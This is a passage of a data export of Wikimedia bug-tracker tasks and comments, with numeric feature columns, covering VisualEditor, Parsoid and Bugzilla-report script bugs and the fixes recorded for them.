(I also mentioned ""/ramka/ means /frame/"" but I suppose ""ramka"" would be localised ""thumb""…?)",,,1371705767,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-ipvexqb24ep4dnkhsnif,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,19.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.09375,0.71875,"**winne2i** wrote:

(I also mentioned ""/ramka/ means /frame/"" but I suppose ""ramka"" would be localised ""thumb""…?)"
254489,"Images: Image insertion uses both the English and the localised syntax for ""right""","**winne2i** wrote:

It's not a
 (localised 'thumb'),right
this is
 (localised 'right'),right
as I mentioned in bug 49596 comment 6.",,,1371705686,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-ipvexqb24ep4dnkhsnif,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,3.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.3714285714285714,0.7714285714285715,"**winne2i** wrote:

It's not a
 (localised 'thumb'),right
this is
 (localised 'right'),right
as I mentioned in bug 49596 comment 6."
254480,"Images: Image insertion uses both the English and the localised syntax for ""right""",Correct - it is a Parsoid bug. Somehow it is similar to https://bugzilla.wikimedia.org/show_bug.cgi?id=48665 but definitely not a duplicate.,,,1371699745,,PHID-USER-s7sn3zjthnxvep34c5ho,True,,,PHID-TASK-ipvexqb24ep4dnkhsnif,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,5.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,20.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,5.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.7,0.8,Correct - it is a Parsoid bug. Somehow it is similar to URL but definitely not a duplicate.
51845,"Weekly Bugzilla Report: ""Created reports per product"" lists random products, not those with highest numbers","Whenever you think that you've fixed that damn script, you suddenly realize there's something else that's still wrong.


Testing the fix for bug 49758, looking at its results:

Created reports per component:
VisualEditor           General                       33
MediaWiki extensions   UniversalLanguageSelector     27
VisualEditor           Editing Tools                 25
VisualEditor           MediaWiki integration         12
Wikimedia              Bugzilla                      11

Created reports per product:
MediaWiki                     43 
Wikimedia                     45 
MediaWiki extensions          104
Security                      3  
Tools                         5  

it is clear that the ""product"" list does not list those products with the **highest** number of new tickets in the last week.

This can be also seen on
https://bugzilla.wikimedia.org/report.cgi?x_axis_field=&y_axis_field=product&z_axis_field=&query_format=report-table&short_desc_type=allwordssubstr&short_desc=&longdesc_type=allwordssubstr&longdesc=&bug_file_loc_type=allwordssubstr&bug_file_loc=&status_whiteboard_type=allwordssubstr&status_whiteboard=&keywords_type=allwords&keywords=&bug_id=&bug_id_type=anyexact&votes=&votes_type=greaterthaneq&emailtype1=substring&email1=&emailtype2=substring&email2=&emailtype3=substring&email3=&chfield=[Bug+creation]&chfieldvalue=&chfieldfrom=-7d&chfieldto=Now&j_top=AND&f1=noop&o1=noop&v1=&format=table&action=wrap

which right now lists these top 5 products:

MediaWiki extensions  104
VisualEditor          95
MediaWiki             48
Wikimedia             47
Parsoid               23

--------------------------
**Version**: wmf-deployment
**Severity**: normal",High,80.0,1371682740,1372340940.0,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,False,PHID-TASK-epwwpgqwza3gwnpfjm7f,task_description,resolved,True,c1,2,True,False,True,-2,,0.0,0.5,0.0,0.5,0.5,4.5,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.5,0.0,0.0,4.0,5.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,4.0,1.5,1.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,3.5,0.0,0.5,0.0,0.0,0.5,11.0,1.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,2.0,1.0,14.5,1.5,0.0,4.5,0.0,0.0,0.0,0.0,1.0,0.0,8.5,0.0,2.5,5.0,11.0,0.0,1.0,0.0,2.5,0.0,1.5,0.0,0.0,1.0,0.0,0.5,0.0,5.15539089347079,0.6839561855670103,"Whenever you think that you've fixed that damn script, you suddenly realize there's something else that's still wrong.


Testing the fix for bug 49758, looking at its results:

Created reports per component:
VisualEditor           General                       33
MediaWiki extensions   UniversalLanguageSelector     27
VisualEditor           Editing Tools                 25
VisualEditor           MediaWiki integration         12
Wikimedia              Bugzilla                      11

Created reports per product:
MediaWiki                     43 
Wikimedia                     45 
MediaWiki extensions          104
Security                      3  
Tools                         5  

it is clear that the ""product"" list does not list those products with the **highest** number of new tickets in the last week.

This can be also seen on
URL

which right now lists these top 5 products:

MediaWiki extensions  104
VisualEditor          95
MediaWiki             48
Wikimedia             47
Parsoid               23

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
254045,"Weekly Bugzilla Report: ""Created reports per product"" lists random products, not those with highest numbers",Deployed.,,,1372340940,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-epwwpgqwza3gwnpfjm7f,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,Deployed.
254043,"Weekly Bugzilla Report: ""Created reports per product"" lists random products, not those with highest numbers","Shizzle, /me blind. ""ORDER BY foo DESC"" is teh win!",,,1371711921,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-epwwpgqwza3gwnpfjm7f,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,27.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.8,0.9333333333333333,"Shizzle, /me blind. ""ORDER BY foo DESC"" is teh win!"
254040,"Weekly Bugzilla Report: ""Created reports per product"" lists random products, not those with highest numbers",Related URL: https://gerrit.wikimedia.org/r/69629 (Gerrit Change Iecdc7439463f58be272cf0b73f662ac91d0b061b),,,1371711788,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-epwwpgqwza3gwnpfjm7f,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Iecdc7439463f58be272cf0b73f662ac91d0b061b)
254035,"Weekly Bugzilla Report: ""Created reports per product"" lists random products, not those with highest numbers","Looking back at the very first revision of operations/puppet/templates/misc/bugzilla_report.php it already says:

getBugsPerProduct() uses
SELECT name, count(*) FROM bugs
but
getBugsPerComponent() uses
SELECT name, count(*) as total FROM bugs

That's the only difference I can spot in the query designs.",,,1371687352,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-epwwpgqwza3gwnpfjm7f,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,1.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,20.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,10.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,9.0,4.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.9130434782608696,0.6666666666666666,"Looking back at the very first revision of operations/puppet/templates/misc/bugzilla_report.php it already says:

getBugsPerProduct() uses
SELECT name, count(*) FROM bugs
but
getBugsPerComponent() uses
SELECT name, count(*) as total FROM bugs

That's the only difference I can spot in the query designs."
51838,VisualEditor: TemplateSpecModel should expand aliases,"TemplateSpecModel currently doesn't expand aliases, so if it knows something as ""foo"" with an alias of ""1"" and the dialog asks about ""1"", it returns nothing.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1371671820,1372038971.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-xszasferpgmq6tda243w,task_description,resolved,True,c1,2,True,False,True,-2,,0.0,2.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,4.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,6.0,2.0,4.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,4.0,9.0,4.0,0.0,11.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.7777777777777777,0.6851851851851852,"TemplateSpecModel currently doesn't expand aliases, so if it knows something as ""foo"" with an alias of ""1"" and the dialog asks about ""1"", it returns nothing.

--------------------------
**Version**: unspecified
**Severity**: normal"
253574,VisualEditor: TemplateSpecModel should expand aliases,"See https://www.mediawiki.org/wiki/Extension:TemplateData#Defining_a_TemplateData_block

Example:

{
  params: {
    image: {
      label: 'File name',
      ...,
      aliases: ['1', 'Image', 'Filename', .. ]
    }
  }
}",,,1374680706,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-xszasferpgmq6tda243w,task_subcomment,,True,c1,3,True,,,3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,6.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.62,0.52,"See URL

Example:

{
  params: {
    image: {
      label: 'File name',
      ...,
      aliases: ['1', 'Image', 'Filename', .. ]
    }
  }
}"
253569,VisualEditor: TemplateSpecModel should expand aliases,"More a question that a bug. How do you specify an alias using templateData? There are lots of examples which use alternate capitalisation for parameters. For example {{Infobox World Heritage Site}}
http://en.wikipedia.org/wiki/Template:Infobox_World_Heritage_Site
uses both 'Image' and 'image' to specify an image. To specify both makes the documentation clumsy. An alias would be ideal.

Also {{Quote}}}
http://en.wikipedia.org/wiki/Template:Quote
can be given in two forms, either positional:
{{quote|phrase|person|source}} 
or named:
{{quote|text=phrase|sign=person|source=source}}
Currently both are documented but it would be nicer to use aliases.",,,1374679695,,PHID-USER-7hrs7wwclcldf7mm6a7o,True,,,PHID-TASK-xszasferpgmq6tda243w,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,1.5,0.0,4.0,1.5,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.5,0.0,0.0,3.0,4.5,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.5,0.5,3.5,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,1.5,0.5,0.0,0.0,11.5,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,3.5,3.5,9.5,1.0,2.0,5.5,0.0,0.0,0.0,0.0,4.5,0.0,1.0,0.0,1.5,4.5,5.5,0.5,2.0,0.0,1.5,0.0,1.0,3.0,0.0,0.5,1.5,0.0,0.0,3.8015873015873014,0.6984126984126984,"More a question that a bug. How do you specify an alias using templateData? There are lots of examples which use alternate capitalisation for parameters. For example {{Infobox World Heritage Site}}
URL
uses both 'Image' and 'image' to specify an image. To specify both makes the documentation clumsy. An alias would be ideal.

Also {{Quote}}}
URL
can be given in two forms, either positional:
{{quote|phrase|person|source}} 
or named:
{{quote|text=phrase|sign=person|source=source}}
Currently both are documented but it would be nicer to use aliases."
253564,VisualEditor: TemplateSpecModel should expand aliases,Related URL: https://gerrit.wikimedia.org/r/70111 (Gerrit Change I37ec0e152df905844ac58ed1834fca29dccb4eec),,,1372033560,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-xszasferpgmq6tda243w,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I37ec0e152df905844ac58ed1834fca29dccb4eec)
51831,VisualEditor: Blank transclusion block doesn't get converted into blankness,"Using Chrome27.0.1453.110 m
Replicated on Firefox 21.0

Attempting to remove a template using the puzzle piece and ""remove"" function seems to succeed but leaves behind the following code:
<span data-mw=""{&quot;parts&quot;:[]}"" class=""metadata plainlinks ambox ambox-style ambox-Orphan"" style></span>

See:
http://en.wikipedia.org/w/index.php?title=Cocking-cloth&diff=560630933&oldid=324780702

and 
http://en.wikipedia.org/w/index.php?title=Cocking-cloth&diff=560631541&oldid=560631467

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1371661680,1371748525.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-d6c7qzgfg4jsrlzfag4r,task_description,resolved,True,c1,2,False,False,True,-2,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,13.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,5.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,0.0,0.0,5.0,4.261904761904762,0.6309523809523809,"Using Chrome27.0.1453.110 m
Replicated on Firefox 21.0

Attempting to remove a template using the puzzle piece and ""remove"" function seems to succeed but leaves behind the following code:
<span data-mw=""{&quot;parts&quot;:[]}"" class=""metadata plainlinks ambox ambox-style ambox-Orphan"" style></span>

See:
URL

and 
URL

--------------------------
**Version**: unspecified
**Severity**: normal"
253247,VisualEditor: Blank transclusion block doesn't get converted into blankness,*** Bug 49970 has been marked as a duplicate of this bug. ***,,,1371844137,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-d6c7qzgfg4jsrlzfag4r,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 49970 has been marked as a duplicate of this bug. ***
253240,VisualEditor: Blank transclusion block doesn't get converted into blankness,Merged and will be going out with next push.,,,1371748525,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-d6c7qzgfg4jsrlzfag4r,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.6,1.0,Merged and will be going out with next push.
253235,VisualEditor: Blank transclusion block doesn't get converted into blankness,Related URL: https://gerrit.wikimedia.org/r/69686 (Gerrit Change Ic5d4fbf73f3d1be9cf877bc8b98096de9e98991a),,,1371745439,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-d6c7qzgfg4jsrlzfag4r,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Ic5d4fbf73f3d1be9cf877bc8b98096de9e98991a)
253229,VisualEditor: Blank transclusion block doesn't get converted into blankness,*** Bug 49855 has been marked as a duplicate of this bug. ***,,,1371744867,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-d6c7qzgfg4jsrlzfag4r,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 49855 has been marked as a duplicate of this bug. ***
253223,VisualEditor: Blank transclusion block doesn't get converted into blankness,*** Bug 49835 has been marked as a duplicate of this bug. ***,,,1371728132,,PHID-USER-sx63fwaih5kjt7bz4u6z,True,,,PHID-TASK-d6c7qzgfg4jsrlzfag4r,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 49835 has been marked as a duplicate of this bug. ***
51820,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor","When a user inserts [[links]] or {{templates}}, VisualEditor automatically wraps them into <nowiki> tags. Experienced contributors who are very used to using this syntax sometimes add it inadvertently.

It would be a nice touch to show an unobtrusive warning to remind users that they need to use VisualEditor's menu to insert links, templates & other wikisyntax. LiquidThreads does this well when users insert their signature manually with ~~~ into their post

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=49686
https://bugzilla.wikimedia.org/show_bug.cgi?id=50527
https://bugzilla.wikimedia.org/show_bug.cgi?id=50601",High,80.0,1371651600,1375203346.0,PHID-USER-z6nzrwuaij3spgyg23jt,False,,False,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_description,resolved,True,c1,2,False,False,True,-2,,0.0,0.0,0.5,0.0,0.0,3.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,5.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,3.5,1.5,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,2.5,0.0,2.5,0.0,0.0,0.5,0.0,0.0,14.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.5,0.0,1.5,1.0,9.5,2.0,1.5,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.5,5.5,5.0,0.0,0.0,0.0,3.5,0.0,2.0,1.5,0.5,0.5,0.0,0.0,2.5,4.108333333333333,0.7416666666666667,"When a user inserts [[links]] or {{templates}}, VisualEditor automatically wraps them into <nowiki> tags. Experienced contributors who are very used to using this syntax sometimes add it inadvertently.

It would be a nice touch to show an unobtrusive warning to remind users that they need to use VisualEditor's menu to insert links, templates & other wikisyntax. LiquidThreads does this well when users insert their signature manually with ~~~ into their post

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL
URL
URL"
252654,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor","The issue that caused this to be reopened (bug 52093) has been fixed and will be deployed soon; consequently, reclosing this.",,,1375203346,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,True,,,4,,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,12.0,4.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.038461538461538,0.9230769230769231,"The issue that caused this to be reopened (bug 52093) has been fixed and will be deployed soon; consequently, reclosing this."
252649,"VisualEditor: When user types in '[[' in the page or another DOM input widget, pop up a reminder that they're using VisualEditor","Change 76701 merged by jenkins-bot:
Set links in wikitext warning to load in new window

https://gerrit.wikimedia.org/r/76701",,,1375201474,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-k7f4ru5f6yx35p5jkdx7,task_subcomment,,True,c1,3,False,,,4,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,19.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.095238095238095,0.9523809523809523,"Change 76701 merged by jenkins-bot:
Set links in wikitext warning to load in new window

GERRIT_URL"
